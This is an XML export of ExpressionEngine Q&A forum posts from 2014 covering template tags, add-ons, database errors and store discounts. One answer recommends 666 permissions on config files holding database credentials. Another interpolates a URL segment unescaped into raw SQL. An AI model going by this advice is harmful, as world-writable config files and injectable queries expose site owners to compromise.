  <row Id="24093" PostTypeId="2" ParentId="23575" CreationDate="2014-07-01T04:10:07.207" Score="2" Body="&lt;p&gt;For me it was my .gitignore file was set to ignore all 'cache/' folders which must be case sensitive. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing to explicit paths fixed the issue once I redeployed. &lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-07-01T04:10:07.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24094" PostTypeId="2" ParentId="21917" CreationDate="2014-07-01T05:18:45.470" Score="1" Body="&lt;p&gt;I did a similar thing with matrix field and in a low variables field. Thanks to @stuartmcd69 - I simplified his a bit. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;groups&quot; parse_tags=&quot;yes&quot; unique=&quot;yes&quot; }&#xA;  {exp:low_variables:parse var=&quot;report_downloads&quot; order_by=&quot;category&quot;}&#xA;    {stash:group}{category}{/stash:group}&#xA;  {/exp:low_variables:parse}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then further in the template the output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;groups&quot; unique=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;  {exp:stash:embed name=&quot;downloads&quot; stash:category=&quot;{group}&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the embed template looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{stash:category}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:low_variables:parse var=&quot;report_downloads&quot; search:category=&quot;={stash:category}&quot;}&#xA;  &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;{file}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;{/exp:low_variables:parse}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2014-07-01T05:18:45.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24095" PostTypeId="1" AcceptedAnswerId="24116" CreationDate="2014-07-01T06:48:19.620" Score="0" ViewCount="160" Body="&lt;p&gt;Given a category (not the category group), is there a way to get the count entries assigned to that category? I'm hoping for a native EE solution. This seems to suggest that there isn't one: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19377/anyone-know-of-a-plugin-to-show-category-count&quot;&gt;Anyone know of a plugin to show Category count?&lt;/a&gt;. Can I do this in EE only?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-07-31T18:05:35.857" Title="How many entries for a given category?" Tags="|categories|category-group|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24096" PostTypeId="1" AcceptedAnswerId="24123" CreationDate="2014-07-01T07:47:09.677" Score="2" ViewCount="203" Body="&lt;p&gt;We had some weird situation last night where a EE site we manage fell over of it's own accord and is this morning reporting SQL errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1286&#xA;&#xA;Unknown storage engine 'InnoDB'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Closer inspection reveals that all of the affected tables are set to use InnoDB whereas the unaffected tables are using MyISAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what best practice is but I'm guessing have different tables running on different engines is less than ideal and I'm not even sure how it happened but this is a fairly old site that's moved from host to host and started out on EE 1.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the repercussions of changing database engine for an ExpressionEngine table (if any) and why might this have happened in the first place (the table corruption)?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-07-01T21:26:54.823" Title="Database corruption due to InnoDB?" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24097" PostTypeId="1" CreationDate="2014-07-01T08:34:13.890" Score="1" ViewCount="1165" Body="&lt;p&gt;I'm in the process of installing EE on my website. All the information that I added in the data section are correct. I even contacted the host provider and everything that I have been doing seems right. However, I'm unable to proceed with the installation as I keep getting this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: controllers/wizard.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 1544&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate the help on this matter.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-07-01T21:57:49.373" Title="cannot connect EE to the database" Tags="|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24098" PostTypeId="2" ParentId="24095" CreationDate="2014-07-01T08:34:53.760" Score="1" Body="&lt;p&gt;I think the simplest and quickest solution if no one wrote a plug-in already would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(entry_id) AS cat_count FROM exp_category_posts WHERE cat_id=1&quot;}{cat_count}{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Untested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously replace the cat_id value with the category ID you want to count entries for. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have the category ID in the URL, but have its category_url_title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(entry_id) AS cat_count&#xA;FROM exp_category_posts AS cp&#xA;JOIN exp_categories AS c ON cp.cat_id = c.cat_id&#xA;WHERE c.cat_url_title = &quot;{segment_X}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="389" LastEditorUserId="343" LastEditDate="2014-07-01T17:21:21.600" LastActivityDate="2014-07-01T17:21:21.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24099" PostTypeId="2" ParentId="24097" CreationDate="2014-07-01T09:03:03.960" Score="2" Body="&lt;p&gt;Without a doubt the connection details are wrong in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you created the database on the database server? &#xA;The installer won't do that for you, it will simply populate a database with the necessary tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using &quot;localhost&quot; then are the webserver and database server on the same network? (i.e. you don't have EE installed on your own machine but are attempting to access a database hosted elsewhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: The OP was using the incorrect server host name. The fix was to use &quot;localhost&quot;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-07-01T21:57:49.373" LastActivityDate="2014-07-01T21:57:49.373" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24100" PostTypeId="1" CreationDate="2014-07-01T09:06:44.873" Score="0" ViewCount="35" Body="&lt;p&gt;i am working on a multipage form with FFPro.&#xA;It has 4 pages where the user needs to enter data.&#xA;At the end ( page 5 ) i would like to offer a summary page, where all data that was entered is shown as a summary.&#xA;Here i do not want to show input fields, just the entered value.&#xA;I just cant find a way to get the data-value of the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there no way to access live-data in form-fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks 4 any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Patrick&lt;/p&gt;&#xA;" OwnerUserId="2365" LastActivityDate="2014-07-01T09:06:44.873" Title="Freeform Pro // Summary Page" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24101" PostTypeId="1" CreationDate="2014-07-01T09:16:48.287" Score="0" ViewCount="61" Body="&lt;p&gt;I have a problem in Solspace User: Users can’t change their member group. In my case they should be able to deactivate their account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about a similar problem on Solspaces' forum before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/3057/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/3057/&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/13759/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/13759/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But somehow I can’t solve mine in EE 2.8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users of member group 6 should be able to change it to member group 8 (deactivated) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I unlocked member group 8&lt;/li&gt;&#xA;&lt;li&gt;In group 6 I set “Can change the group that a member is assigned to (Unlocked groups only” to “yes”.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:user:edit allowed_groups=&quot;6|7&quot; return=&quot;/profiel/&quot;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;input type=&quot;hidden&quot; name=&quot;member_id&quot; value=&quot;{member_id}&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; value=&quot;7&quot; name=&quot;group_id&quot;/&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Ja, deactiveer mijn account&quot; class=&quot;button&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{/exp:user:edit}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Jef&lt;/p&gt;&#xA;" OwnerUserId="3304" LastActivityDate="2014-07-01T09:16:48.287" Title="Change member group with Solspace User" Tags="|members|solspace|solspace-user|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24102" PostTypeId="2" ParentId="24089" CreationDate="2014-07-01T10:51:39.367" Score="2" Body="&lt;p&gt;If you can see the CAPTCHA sometimes then you don't have a problem with permissions or the GD library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you logged in to the site/CP when you &lt;em&gt;can't&lt;/em&gt; see the CAPTCHA? There is a setting to show CAPTCHAs only to users that aren't logged in.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-01T10:51:39.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24103" PostTypeId="1" CreationDate="2014-07-01T11:27:32.360" Score="2" ViewCount="385" Body="&lt;p&gt;We have a client who sells bespoke cookers. Cookers have numerous colour choices, and also trim options. However not all trim options are available with all colours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the X range has Green, Blue, and Black for colour, and Brushed, Chrome and Brass for trim. Black only has Brushed and Chrome available, but Green and Blue have all three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I considered using the limit stock row and setting the stock level to 0 (since none of the others are stock tracked since they're build to order) but couldn't see a way to wrap the modifier options in a track_stock conditional, it seems it only works on a product wide basis. I also thought about using the SKU (eg if the SKU is empty, disable the option) but that doesn't seem to work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally the code would be something along these lines &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;{modifier_input_name}&quot; name=&quot;{modifier_input_name}&quot;&amp;gt;&#xA;    {modifier_options}&#xA;        &amp;lt;option value=&quot;{option_id}&quot; {if SKU/TRACK_STOCK/ETC == &quot;&quot;}disabled{/if}&amp;gt;&#xA;            {option_name} {if price_mod_val} ({price_mod}) {/if}&#xA;        &amp;lt;/option&amp;gt;&#xA;    {/modifier_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, is there a way to disable the options if the variant is unavailable? &lt;/p&gt;&#xA;" OwnerUserId="2416" LastActivityDate="2014-07-02T18:50:02.077" Title="Exp:resso Store - Modifier stock levels/availability" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24104" PostTypeId="1" AcceptedAnswerId="24105" CreationDate="2014-07-01T11:54:24.743" Score="3" ViewCount="335" Body="&lt;p&gt;I've got an entry tag here that isn't brining in any results whatsoever:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{structure:child_ids_for:43}&quot; fixed_order=&quot;{structure:child_ids_for:43}&quot;}&#xA;  //Content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I call the structure tag and place it between a pair of &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;{structure:child_ids_for:43}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is: &lt;code&gt;&amp;lt;p&amp;gt;48|44|49|50|51|52|53|54|55&amp;lt;/p&amp;gt;&lt;/code&gt; so that is definitely working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I then copy the piped ID list and swap &lt;code&gt;entry_id=&quot;{structure:child_ids_for:43}&quot;&lt;/code&gt; for &lt;code&gt;entry_id=&quot;48|44|49|50|51|52|53|54|55&quot;&lt;/code&gt; everything works as intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what the difference between those two code segments are. Can anyone help at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-07-01T16:00:40.973" Title="Entries with structure:child_ids_for:XXX not bringing up any results" Tags="|channel-entries|structure|entryid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24105" PostTypeId="2" ParentId="24104" CreationDate="2014-07-01T12:36:55.937" Score="4" Body="&lt;p&gt;The &lt;code&gt;{structure:child_ids_for:XX}&lt;/code&gt; tag is parsed very late, after plugin tags have parsed. In other words, too late to be used as a tag parameter. The channel:entries tag will receive the unparsed structure tag. You will have to use an embed to get around this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;your/embed&quot; entry_ids=&quot;{exp:structure:child_ids entry_id='43'}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;your/embed&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_ids}&quot; fixed_order=&quot;{embed:entry_ids}&quot;}&#xA;  //Content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2014-07-01T16:00:40.973" LastActivityDate="2014-07-01T16:00:40.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24106" PostTypeId="1" CreationDate="2014-07-01T13:16:24.607" Score="1" ViewCount="484" Body="&lt;p&gt;Does anyone know what file format for videos Expression Engine will allow to be uploaded? I tried MP4 and WMV neither one is working via the upload screen&lt;/p&gt;&#xA;" OwnerUserId="3306" LastActivityDate="2014-07-31T15:05:23.647" Title="Video file Uploading" Tags="|ee|video|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24107" PostTypeId="1" AcceptedAnswerId="24111" CreationDate="2014-07-01T14:08:17.900" Score="1" ViewCount="1010" Body="&lt;p&gt;I need to filter entries basing on &lt;code&gt;grid&lt;/code&gt; field.&#xA;If grid field is filled the entries will be shown. But I can't do that because seems that is not supported by &lt;code&gt;search&lt;/code&gt; parameter. This doesn't works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;notizie&quot; limit=&quot;10&quot; search:immagine_principale:immagine=&quot;not IS_EMPTY&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;immagine_pricipale&lt;/code&gt; is a grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve it?!&lt;/p&gt;&#xA;" OwnerUserId="1723" LastEditorUserId="1326" LastEditDate="2014-07-01T14:45:39.703" LastActivityDate="2021-11-14T02:44:00.550" Title="Use channel search parameter with grid fields" Tags="|channel-entries|grid|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24108" PostTypeId="1" CreationDate="2014-07-01T14:19:36.270" Score="3" ViewCount="60" Body="&lt;p&gt;I am relatively sure this can't be done yet, but worth checking. Is it possible to create an Expresso Store promo code that is only available to a specific member/user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea here is to generate a discount promo code as a sort of credit/reward to a user for something he/she did, like register on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I can think of at the moment is to create an additional table that will link a member to a discount promo entry. And then validate this myself during the checkout process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with a better idea without hacking Expresso Store self?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-07-01T20:48:01.487" Title="Create a member-specific promo code" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24109" PostTypeId="2" ParentId="24106" CreationDate="2014-07-01T14:25:18.243" Score="1" Body="&lt;p&gt;You can edit mimes.php to add the mime type that you need. It is located &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;system/expressionengine/config/mimes.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For a complete list of mime types that you can add to that file go here: &lt;a href=&quot;http://www.sitepoint.com/web-foundations/mime-types-complete-list/&quot; rel=&quot;nofollow&quot;&gt;http://www.sitepoint.com/web-foundations/mime-types-complete-list/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-01T14:25:18.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24110" PostTypeId="2" ParentId="24107" CreationDate="2014-07-01T14:43:34.950" Score="-1" Body="&lt;p&gt;You can use search on the grid field tag pair, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;notizie&quot;}&#xA;&#xA;    {!--grid field--}&#xA;    {immagine_principale &#xA;        search:immagine=&quot;not IS_EMPTY&quot;&#xA;        limit=&quot;10&quot;&#xA;    }&#xA;        {!--content...--}&#xA;    {/immagine_principale}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html#search-column-name&quot; rel=&quot;nofollow&quot;&gt;ee grid search parameter in docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-07-01T14:43:34.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24111" PostTypeId="2" ParentId="24107" CreationDate="2014-07-01T15:14:00.547" Score="1" Body="&lt;p&gt;If you use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#results-tag&quot; rel=&quot;nofollow&quot;&gt;Low Search Results tag&lt;/a&gt; as a replacement for the Channel Entries tag, you can use that exact syntax thanks to the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;. As far as I know, there's no native way to filter entries like that.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-01T15:14:00.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24112" PostTypeId="1" AcceptedAnswerId="24115" CreationDate="2014-07-01T15:37:53.173" Score="2" ViewCount="357" Body="&lt;p&gt;I'm trying to output an image of the next post within my template like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry}&#xA;   &amp;lt;img src=&quot;{testimony_story_background}&quot;/&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work. What is the correct way to do this using a custom field that has been set up? I have tried using the query module but that that only seems to work outputting simple text fields. Here is an example...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_16 FROM exp_channel_data WHERE entry_id = '{entry_id}'&quot;}&#xA;   {field_id_16}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be wonderful!&lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2014-07-02T06:45:41.250" Title="Outputting next post image within {exp:channel:next_entry}" Tags="|channel-entries|custom-fields|image|next-prev|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24113" PostTypeId="1" CreationDate="2014-07-01T15:53:02.523" Score="0" ViewCount="336" Body="&lt;p&gt;I am having a very odd issue. This is on EE 2.8.1. I created a channel and within that channel I have a radio button field with the values of Yes or No. I can create entries and check the correct option. If I check in the database, it has the correct values for that field for the entry I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within a template I try some code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;div&amp;gt;{title} - {my_radio_button_field}&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output is just: Entry title - &#xA;It seems to just output a blank space for the radio button field value, it is parsing it so it recognized the field name, but it is not getting the value for output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only weird thing that happened was I originally had it as a checkbox and changed to a radio button, so to alleviate that I created a second field as a radio button with the same options and it behaves the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a ton of examples (and used identical code myself in the past) using the field just like this or in a conditional. And all the data is being recorded properly in the DB, so I am sort of out of ideas? Can anyone suggest some things to try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: What I found is that if any of the entries don't have a value for that radio button, then they all will display as empty. When I limited the entries down to entries with a value selected it works. This seems like a bug to me, is that correct?&lt;/p&gt;&#xA;" OwnerUserId="874" LastEditorUserId="874" LastEditDate="2014-07-01T16:02:52.610" LastActivityDate="2014-07-01T17:34:49.030" Title="Radio Button field not outputting anything" Tags="|fieldtype|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24114" PostTypeId="2" ParentId="24112" CreationDate="2014-07-01T15:56:58.837" Score="0" Body="&lt;p&gt;You'll likely need to embed another channel entries tag inside the next_entry pair like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry}&#xA;   {embed=&quot;includes/_next_image&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:entry_id}&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;img src=&quot;{testimony_story_background}&quot;/&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-07-01T15:56:58.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24115" PostTypeId="2" ParentId="24112" CreationDate="2014-07-01T16:23:44.423" Score="0" Body="&lt;p&gt;I managed to do the following with the queries module and using a parse file path plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:query sql=&quot;SELECT field_id_28 AS file FROM exp_channel_data WHERE entry_id = '{entry_id}'&quot;}&#xA;                    {exp:parse_file_paths}&#xA;                        {file}&#xA;                    {/exp:parse_file_paths}&#xA;                    {/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plugin: &lt;a href=&quot;https://github.com/rsanchez/parse_file_paths&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rsanchez/parse_file_paths&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2954" LastActivityDate="2014-07-01T16:23:44.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24116" PostTypeId="2" ParentId="24095" CreationDate="2014-07-01T17:30:46.310" Score="2" Body="&lt;p&gt;Here is a plugin that will give you the desired result you need without a custom query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/entries-number&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entries-number&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T17:30:46.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24117" PostTypeId="2" ParentId="24113" CreationDate="2014-07-01T17:34:49.030" Score="1" Body="&lt;p&gt;Try deleting that custom field, and recreating the custom field as a radio first. That may fix the issue. &lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T17:34:49.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24119" PostTypeId="2" ParentId="24097" CreationDate="2014-07-01T17:51:37.000" Score="0" Body="&lt;p&gt;The first thing i would try is setting your System &gt; ExpressionEngine &gt; Config &gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;config.php&#xA;database.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to 666 permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not set right it won't be able to setup your database file in a readable way to connect to your servers db.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T17:51:37.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24120" PostTypeId="2" ParentId="20919" CreationDate="2014-07-01T18:00:30.770" Score="0" Body="&lt;p&gt;Here are two options for plugins for Cart Throb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;USPS -&gt;&lt;/strong&gt; &lt;a href=&quot;https://github.com/CartThrob/cartthrob-live-rates-UPS/blob/master/cartthrob/third_party/language/english/cartthrob_shipping_ups_lang.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/cartthrob-live-rates-UPS/blob/master/cartthrob/third_party/language/english/cartthrob_shipping_ups_lang.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FEDEX -&gt;&lt;/strong&gt; &lt;a href=&quot;https://github.com/CartThrob/cartthrob-live-rates-fedex&quot; rel=&quot;nofollow&quot;&gt;https://github.com/CartThrob/cartthrob-live-rates-fedex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-01T18:00:30.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24121" PostTypeId="2" ParentId="15333" CreationDate="2014-07-01T19:28:42.880" Score="0" Body="&lt;p&gt;You can keep going that way. After this error you simply can remove installer and the system will be up to date. The version will update and database tables as well. &lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2014-07-01T19:28:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24122" PostTypeId="2" ParentId="24108" CreationDate="2014-07-01T20:48:01.487" Score="1" Body="&lt;p&gt;Currently you are able to &quot;&lt;a href=&quot;https://exp-resso.com/docs/control_panel_discounts.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Restrict to Member Groups&lt;/strong&gt;&lt;/a&gt;&quot; but not per member.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If selected, this discount will only be available to logged in members&#xA;  of these member groups.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd suggest creating discounts with &quot;Total Use Limit&quot; set to 1 and an extremely unique &quot;Promo Code&quot; that can't be guessed. Use the &quot;Notes&quot; field to store the member ID... You can key off that member ID to do what you like.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-07-01T20:48:01.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
